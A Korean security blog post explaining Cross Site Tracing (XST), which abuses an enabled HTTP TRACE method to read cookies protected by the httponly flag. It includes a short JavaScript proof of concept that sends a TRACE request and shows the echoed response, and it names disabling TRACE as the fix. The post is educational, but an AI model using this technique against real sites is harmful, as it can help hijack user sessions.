반응형

0. XST란 무엇인가?

 - XST는 Cross Site Tracing의 줄임말로써 XSS의 방어수단을 우회하기 위해 사용되는 공격기법


1. 우회하려는 XSS의 방어수단이란?

 - Cookie의 httponly 옵션

 - 이 옵션은 XSS를 이용한 쿠키 하이재킹을 방지하기 위해 만들어진 옵션이다.

 - 해당 옵션을 사용할 경우 브라우저에서는 해당 쿠키에 접근할 수 없지만, 쿠키에 포함된 정보 대부분이 브라우저에서는 접근할 필요가 없는 것들이므로 기본적으로 사용하기를 권고한다.


그런데 !! 우리는 이 XSS의 방어수단인 httponly 옵션을 우회하려고 하는 것이다.


2. 어떤 식으로 우회를 하는가?

 - HTTP 메소드 중 하나인 TRACE 메소드를 이용하여 우회를 하는 것이다! 


 2-1 TRACE method?

 : 웹 서버로 보낸 HTTP Request를 Response Body에 포함하여 클라이언트로 전송시켜주는 method

 : 주로 디버깅 목적으로 사용된다.


 2-2. 공격 조건

 - HTTP 메소드 중 TRACE 메소드가 서버 상에서 허용되어 있어야 한다.

 - 확인 방법

  (1) OPTIONS 메소드를 이용 



  (2) 바로 TRACE 메소드를 이용



 2-3. 공격

 - 위에서 보다시피 TRACE method를 사용하면 서버로 전송한 문자열을 그대로 클라이언트로 보내준다. 따라서 이를 이용하는 것이 바로 XST의 주된 개념이다.

 - 공격 스크립트

<script type="text/javascript">

if ( navigator.appName.indexOf("Microsoft")!=-1)

{

  var xmlHttp = newActiveXObject("Microsoft.XMLHTTP");

  xmlHttp.open("TRACE", "./", false);

  xmlHttp.send();

  str1=xmlHttp.responseText;

  alert(str1);

}

</script>

 - 간단한 설명을 하자면 만약 익스플로러일 경우 xmlhttp라고 불리는 ActiveX Object 객체를 생선한 뒤 TRACE 메소드를 이용하여 현재 위치로 데이터를 보내며 비동기식으로 동작하도록 합니다. 여기서는 false이므로 xmlHttp.open의 응답이 올 때까지 기다렸다가 오면 xmlHttp.send()가 실행됩니다. 해당 response의 문자열을 alert()를 이용하여 출력시키는 스크립트입니다.


3. 그렇다면 방어는 어떻게 하는가?

 - 생각하신 그대로입니다! Trace 메소드를 허용하지 않으면 됩니다.

 - 각 서버별로 설정 방법은 다르므로 각자의 구글링에 맡기도록 하겠습니다.

반응형

'Hacking > Web' 카테고리의 다른 글

파일업로드 확장자 우회  (0) 2017.11.05
SQL Injection 관련  (0) 2017.06.29
LFI&RFI  (0) 2017.03.08
Command_injection  (0) 2017.03.08
A9-알려진 취약점이 있는 컴포넌트 사용  (0) 2017.02.25
블로그 이미지

rootable

,